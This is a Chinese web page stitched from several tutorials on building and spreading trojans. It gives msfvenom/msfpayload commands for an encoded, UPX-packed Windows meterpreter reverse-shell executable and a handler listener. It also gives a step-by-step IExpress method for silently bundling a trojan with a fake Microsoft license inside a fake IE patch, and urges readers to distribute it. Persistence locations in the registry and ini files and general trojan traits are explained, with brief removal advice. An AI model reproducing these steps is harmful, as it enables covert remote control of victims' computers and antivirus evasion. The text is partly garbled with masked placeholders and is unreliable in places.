自定义木马_设置木马程序

如何用msfvenom生成木马程序

一,目的:熟悉msfvenom生成木马程序过程,并执行和监听控制.

二,工具:MSF

三,原理:msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线

四,过程:

1,查看帮助

命令: root# msfvenom -h

结果:

2,生成meterpreter payload 并利用shikata_ga_nai编码,查看所需选项,利用 -o参数

命令: root# msfvenom -p windows/meterpreter/reverse_tcp -o

结果:

3,现在设置LHOST,即监听主机IP和LPORT监听端口,我是本地局域网测试,所以IP是192.168.1.113,端口设置成443.所以最后连接会通向192.168.1.113的443端口

命令: root# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.1.113 LPORT=443 -f exe abc.exe

注:如果只是用msfpayload生成,简单示例:

命令: root # msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.113 X Desktop/abc.exe

多次生成可进行免杀:msfpayload windows/shell_reverse_tcp lhost=192.168.128.129 lport=888 r| msfencode -e x86/shikata_ga_nai -c 7 -t raw | msfencode -e x86/alpha_upper -c 3 -t raw | msfencode -e x86/shikata_ga_nai -c 6 -t raw | msfencode -e x86/alpha_upper -c 3 -t exe -o /root/Desktop/acn.exe

upx加壳：upx -5 /root/Desktop/acn.exe

结果:

说明: -p payload

-e 编码方式

-i 编码次数

-b 在生成的程序中避免出现的值

LHOST,LPORT 监听上线的主机IP和端口

-f exe 生成EXE格式

4,把生成的abc.exe放到win7下.执行.

5,在命令行下,打开msfconsole.

命令: root # msfconsole

6,本机监听,因为之前用的是reverse_tcp,所以设置如下

命令: msf use exploit/multi/handler

Msf exploit(handler) set payload windows/meterpreter/reverset_tcp

结果:

7,现在快完成了,设置LHOST,LPORT,并执行exploit,会发现有连接进来.

8,.验证

木马的 ***

概念：特洛伊木马(以下简称木马)，英文叫做“Trojan house”，其名称取自希腊神话的特洛伊木马记。

它是一种基于远程控制的黑客工具，具有隐蔽性和非授权性的特点。

所谓隐蔽性是指木马的设计者为了防止木马被发现，会采用多种手段隐藏木马，这样服务端即使发现感染了木马，由于不能确定其具 *** 置，往往只能望“马”兴叹。

所谓非授权性是指一旦控制端与服务端连接后，控制端将享有服务端的大部分操作权限，包括修改文件，修改注册表，控制鼠标，键盘等等，而这些权力并不是服务端赋予的，而是通过木马程序窃取的。

从木马的发展来看，基本上可以分为两个阶段。

最初 *** 还处于以UNIX平台为主的时期，木马就产生了，当时的木马程序的功能相对简单，往往是将一段程序嵌入到系统文件中，用跳转指令来执行一些木马的功能，在这个时期木马的设计者和使用者大都是些技术人员，必须具备相当的 *** 和编程知识。

而后随着WINDOWS平台的日益普及，一些基于图形操作的木马程序出现了，用户界面的改善，使使用者不用懂太多的专业知识就可以熟练的操作木马，相对的木马入侵事件也频繁出现，而且由于这个时期木马的功能已日趋完善，因此对服务端的破坏也更大了。

所以所木马发展到今天，已经无所不用其极，一旦被木马控制，你的电脑将毫无秘密可言。

原理：“木马”程序会想尽一切办法隐藏自己，主要途径有：在任务栏中隐藏自己，这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False，程序运行时就不会出现在任务栏中了。在任务管理器中隐形：将程序设为“系统服务”可以很轻松地伪装自己。

当然它也会悄无声息地启动，你当然不会指望用户每次启动后点击“木马”图标来运行服务端，，“木马”会在每次用户启动时自动装载服务端，Windows系统启动时自动加载应用程序的 *** ，“木马”都会用上，如：启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈“木马”是怎样自动加载的。

在win.ini文件中，在[WINDOWS]下面，“run=”和“load=”是可能加载“木马”程序的途径，必须仔细留心它们。一般情况下，它们的等号后面什么都没有，如果发现后面跟有路径与文件名不是你熟悉的启动文件，你的计算机就可能中上“木马”了。当然你也得看清楚，因为好多“木马”，如“AOL Trojan木马”，它把自身伪装成command.exe文件，如果不注意可能不会发现它不是真正的系统启动文件。

在system.ini文件中，在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell= explorer.exe 程序名”，那么后面跟着的那个程序就是“木马”程序，就是说你已经中“木马”了。

在注册表中的情况最复杂，通过regedit命令打开注册表编辑器，在点击至：“HKEY－LOCAL－MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”目录下，查看键值中有没有自己不熟悉的自动启动文件，扩展名为EXE。

这里切记：有的“木马”程序生成的文件很像系统自身文件，想通过伪装蒙混过关，如“Acid Battery v1.0木马”，它将注册表“HKEY－LOCAL－MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run”下的Explorer 键值改为Explorer=“C:/WINDOWS/expiorer.exe”，“木马”程序与真正的Explorer之间只有“i”与“l”的差别。

当然在注册表中还有很多地方都可以隐藏“木马”程序，如：“HKEY－CURRENT－USER/Software/Microsoft/Windows/CurrentVersion/Run”、“HKEY－USERS/＊＊＊＊/Software/Microsoft/Windows/CurrentVersion/Run”的目录下都有可能，更好的办法就是在“HKEY－LOCAL－MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”下找到“木马”程序的文件名，再在整个注册表中搜索即可。

知道了“木马”的工作原理，查杀“木马”就变得很容易，如果发现有“木马”存在，最安全也是最有效的 *** 就是马上将计算机与 *** 断开，防止黑客通过 *** 对你进行攻击。

然后编辑win.ini文件，将[WINDOWS]下面，“run=“木马”程序”或“load=“木马”程序”更改为“run=”和“load=”；编辑system.ini文件，将[BOOT]下面的“shell=‘木马’文件”，更改为：“shell=explorer.exe”；在注册表中，用regedit对注册表进行编辑，先在“HKEY－LOCAL－MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”下找到“木马”程序的文件名，再在整个注册表中搜索并替换掉“木马”程序。

有时候还需注意的是：有的“木马”程序并不是直接将“HKEY－LOCAL－MACHINE/Software/Microsoft/Windows/CurrentVersion/Run”下的“木马”键值删除就行了，因为有的“木马”如：BladeRunner“木马”，如果你删除它，“木马”会立即自动加上，你需要的是记下“木马”的名字与目录，然后退回到MS－DOS下，找到此“木马”文件并删除掉。

重新启动计算机，然后再到注册表中将所有“木马”文件的键值删除。至此，我们就大功告成了。

木马一词的来源：

“木马”原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上，“特洛伊木马”指一些程序设计人员在其可从 *** 上下载(Download)的应用程序或游戏中，包含了可以控制用户的计算机系统的程序，可能造成用户的系统被破坏甚至瘫痪

windows怎样为电脑打造“免检”木马

IExpress是一款用于修改msi安装包内的cab文件兼容性更好，用其它的cab工具打包文件成cab，然后替换到msi里面的cab文件，经常性出错，这个就没这方面问题。

推荐下载 ：软件名称：IExpress(微软自解压包创建工具) 2.0 汉化绿色版软件大小：485KB更新时间：2016-09-21

出身： Microsoft

功能： 专用于 *** 各种 CAB 压缩与自解压缩包的工具。

由于是Windows自带的程序，所以 *** 出来的安装包具有很好的兼容性。它可以帮助木马传播者制造不被杀毒软件查杀的自解压包，而且一般情况下还可伪装成某个系统软件的补丁（如IE的hotfix）来迷惑人。

到哪里寻找永远都不会被查杀的捆绑 *** 或工具？远在天边，近在眼前。可千万别忘了与你朝夕相处的Windows。此次所要介绍的捆绑工具就是Windows自带的`一个小巧的软件IExpress（适用于2000和XP系统）。

原理

IExpress使用了多种不同的自解压缩文件技术对软件更新文件进行打包，这些自解压包能够自动运行程序包中包含的EXE程序。IExpress技术是Microsoft使用的一项技术，用于为某些Microsoft Internet Explorer版本、某些Windows版本以及其他多种产品创建软件更新程序包。

如何确定某个软件更新程序包是否使用了IExpress呢？ *** 如下 ：

1．右键单击该程序包，然后单击“属性”。

2．在“常规”选项卡中，查看“描述”。使用了IExpress技术的软件更新程序包中会包含“Win32 Cabinet Self-Extractor”字样。

实际操作

在这一部分，笔者将以实例的形式为大家详细讲解捆绑木马的整个过程。

之一步

在“运行”对话框中输入IExpress就可启动程序（图1）。

在开始的时候会有两个选项供你选择，一个是创建新的自解压文件（Create new Self Extraction Directive file），另一个是打开已经保存的自解压模板“.sed”文件（Open existing Self Extraction Directive file）。我们应该选择之一项，然后点击“下一步”按钮。

第二步

接下来选择 *** 木马自解压包的三种打包方式（图2），它们分别是建立自解压并自动安装压缩包（Extract files and run an installation command）、建立自解压压缩包（Extract files only）和建立CAB压缩包（Create compressed files only）。

因为我们要 *** 的是木马解压包，所以应该选择之一项。在输入压缩包标题后点击“下一步”按钮。

第三步

在“确认提示”（Confirmation prompt）这一环节，软件会询问在木马程序解包前是否提示用户进行确认，由于我们是在 *** 木马程序的解压包，当然越隐蔽越好，选择之一项“不提示”（No prompt），这么做的目的是让中招人毫无防备。点击“下一步”按钮，在接下来的添加“用户允许协议”（License agreement）中添加一个伪装的用户协议迷惑中招者，选择“显示用户允许协议”(Display a license)，点击“Browse”选择一份编辑好的TXT文档，此文档可以用微软公司的名义来编辑，设置完毕后点击“下一步”。这一步的目的是迷惑对手并隐藏木马安装的过程。

第四步

现在，我们就进入了文件列表窗口（Packaged files）。点击该窗口中的“Add”按钮添加木马和将要与木马程序捆绑在一起的合法程序。根据刚才编辑的协议文件的内容添加合法程序。例如，你 *** 的协议和IE补丁包相关，那么你就可将木马和一个正常的IE补丁包添加进来。

随后进入安装程序选择窗口，指定解压缩包开始运行的文件（Install Program）和安装结束后运行的程序（post install command）。例如，在Install Program内设置正常的IE补丁包先运行，此时木马并未运行，在中招者看来的确是一个IE补丁包。在post install command内设置木马程序，这样在IE补丁包安装完毕时，木马程序将会在后台执行，我们的目的也就达到了。

第五步

接下来选择软件在安装过程中的显示模式（Show window）。由于我们的木马是和合法程序捆绑在一起的，所以选择“默认”（Default）即可。接下来进行提示语句（Finished message）的显示设置，由于我们做的是木马捆绑安装程序，当然应该选择“No message”。

第六步

上述设置完成后，接着设置自解压程序的保存位置和名称。在这里要选择“Hide File Extracting Progress Animation from User”，以便隐藏解压缩过程，有助于隐藏某些木马程序启动时弹出的命令提示框。最后，设置在软件安装完成后是否重新启动（Configure reboot），可以根据实际需要来选择。如果你所用的木马是“即插即用”的，那么就选择“No reboot”；如果所采用的木马用于开启终端服务，那么可选择“Always reboot”，同时选择“重新启动前不提示用户”（Do not prompt user before reboot）。

在保存刚才所做的设置后点击“下一步”按钮，即可开始 *** 木马自解压程序。

整个 *** 过程是在DOS下进行的，在完成度达到100%后会弹出提示窗口，点击“完成”，木马程序与合法程序的捆绑工作就完成了（格式为EXE），直接双击即可运行。你再用杀毒软件查一查。怎么样？已经完全不会被查出来了吧。

现在还等什么？赶快利用“木马屠城”介绍过的网页木马传播技术或木马电子书技术发布你的木马去吧。当然，你也可以把它作为IE的重要补丁发送给别人。

不用第三方工具，无需过多的加壳伪装，让“Windows”来为我们服务，为我们捆绑木马，岂不快哉。

防范措施

可以先检查可疑的程序包是否采用了IExpress技术（“原理”部分已介绍）。如果采用了IExpress技术，那么你就得留心了，此时可以进入命令提示符下使用“IExpress /c”命令来解压缩文件（不进行安装）以检查程序包中是否有木马，同时还可加上参数“/t:path”指定解压路径。

编后：

普通用户应该提高警惕了，很多木马 *** 者了解到用户对漏洞的恐惧，利用用户急着打最新补丁的心理借机入侵。在看似合法的补丁程序中，极有可能隐藏着木马程序。所以，在此提醒大家，千万不要在操作系统和软件的非官方站点下载补丁程序包，因为这些程序包很有可能是被捆绑了恶意程序的虚假程序包。

什么是木马程序

木马的基本特征 木马是病毒的一种，同时木马程序又有许多种不同的种类，那是受不同的人、不同时期开发来区别的，如BackOrifice(BO)、BackOrifice2000、Netspy、Picture、Netbus、Asylum、冰河等等这些都属于木马病毒种类。综合现在流行的木马程序，它们都有以下基本特征： 1、隐蔽性是其首要的特征 如其它所有的病毒一样，木马也是一种病毒，它必需隐藏在你的系统之中，它会想尽一切办法不让你发现它。很多人的对木马和远程控制软件有点分不清，因为我前面讲了木马程序就要通过木马程序驻留目标机器后通过远程控制功能控制目标机器。实际上他们两者的更大区别就是在于这一点，举个例子来说吧，象我们进行局域网间通讯的常软件PCanywhere大家一定不陌生吧，大家也知道它是一款远程通讯软件。PCanwhere在服务器端运行时，客户端与服务器端连接成功后客户端机上会出现很醒目的提示标志。而木马类的软件的服务器端在运行的时候应用各种手段隐藏自己,不可能还出现什么提示，这些黑客们早就想到了方方面面可能发生的迹象，把它们扼杀了。例如大家所熟悉木马修改注册表和ini文件以便机器在下一次启动后仍能载入木马程式，它不是自己生成一个启动程序，而是依附在其它程序之中。有些把服务器端和正常程序绑定成一个程序的软件,叫做exe-binder绑定程式，可以让人在使用绑定的程式时，木马也入侵了系统，甚至有个别木马程序能把它自身的exe文件和服务器端的图片文件绑定，在你看图片的时候，木马也侵入了你的系统。它的隐蔽性主要体现在以下两个方面： a、不产生图标 它虽然在你系统启动时会自动运行，但它不会在任务栏中产生一个图标，这是容易理解的，不然的话，凭你的火眼金睛你一定会发现它的。我们知道要想在任务栏中隐藏图标，只需要在木马程序开发时把Form的Visible属性设置为False、把ShowintaskBar属性设置为Flase即可； b、木马程序自动在任务管理器中隐藏，并以系统服务的方式欺骗操作系统。 2、它具有自动运行性 它是一个当你系统启动时即自动运行的程序，所以它必需潜入在你的启动配置文件中，如win.ini、system.ini、winstart.bat以及启动组等文件之中。 3、木马程序具有欺骗性 木马程序要达到其长期隐蔽的目的，就必需借助系统中已有的文件，以防被你发现，它经常使用的是常见的文件名或扩展名，如dllwinsysxplorer等字样，或者仿制一些不易被人区别的文件名，如字母l与数字1、字母o与数字0，常修改基本个文件中的这些难以分辨的字符，更有甚者干脆就借用系统文件中已有的文件名，只不过它保存在不同路径之中。还有的木马程序为了隐藏自己，也常把自己设置成一个ZIP文件式图标，当你一不小心打开它时，它就马上运行。等等这些手段那些编制木马程序的人还在不断地研究、发掘，总之是越来越隐蔽，越来越专业，所以有人称木马程序为骗子程序。 4、具备自动恢复功能 现在很多的木马程序中的功能模块已不再是由单一的文件组成，而是具有多重备份，可以相互恢复。 5、能自动打开特别的端口 木马程序潜入人的电脑之中的目的不主要为了破坏你的系统，更是为了获取你的系统中有用的信息，这样就必需当你上网时能与远端客户进行通讯，这样木马程序就会用服务器/客户端的通讯手段把信息告诉黑客们，以便黑客们控制你的机器，或实施更加进一步入侵企图。你知不知道你的电脑有多少个对外的门，不知道吧，告诉你别吓着，根据TCP/IP协议，每台电脑可以有256乘以256扇门，也即从0到65535号门，但我们常用的只有少数几个，你想有这么门可以进，还能进不来？当然有门我们还是可以关上它们的，这我在预防木马的办法中将会讲到。 6、功能的特殊性 通常的木马的功能都是十分特殊的，除了普通的文件操作以外，还有些木马具有搜索cache中的口令、设置口令、扫描目标机器人的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能,上面所讲的远程控制软件的功能当然不会有的，毕竟远程控制软件是用来控制远程机器，方便自己操作而已，而不是用来黑对方的机器的。 7、黑客组织趋于公开化 以往还从未发现有什么公开化的病毒组织（也许是我孤陋寡闻），多数病毒是由个别人出于好奇（当然也有专门从事这一职业的），想试一下自己的病毒程序开发水平而做的，但他（她）绝对不敢公开，因为一旦发现是有可能被判坐牢或罚款的，这样的例子已不再什么新闻了。如果以前真的也有专门开发病毒的病毒组织，但应绝对是属于地下的。现在倒好，什么专门开发木马程序的组织到处都是，不光存在，而且还公开在网上大肆招兵买马，似乎已经合法化。正因如此所以黑客程序不断升级、层出不穷，黑的手段也越来越高明。我不知道为什么，但据讲其理由是为了自卫、为了爱国。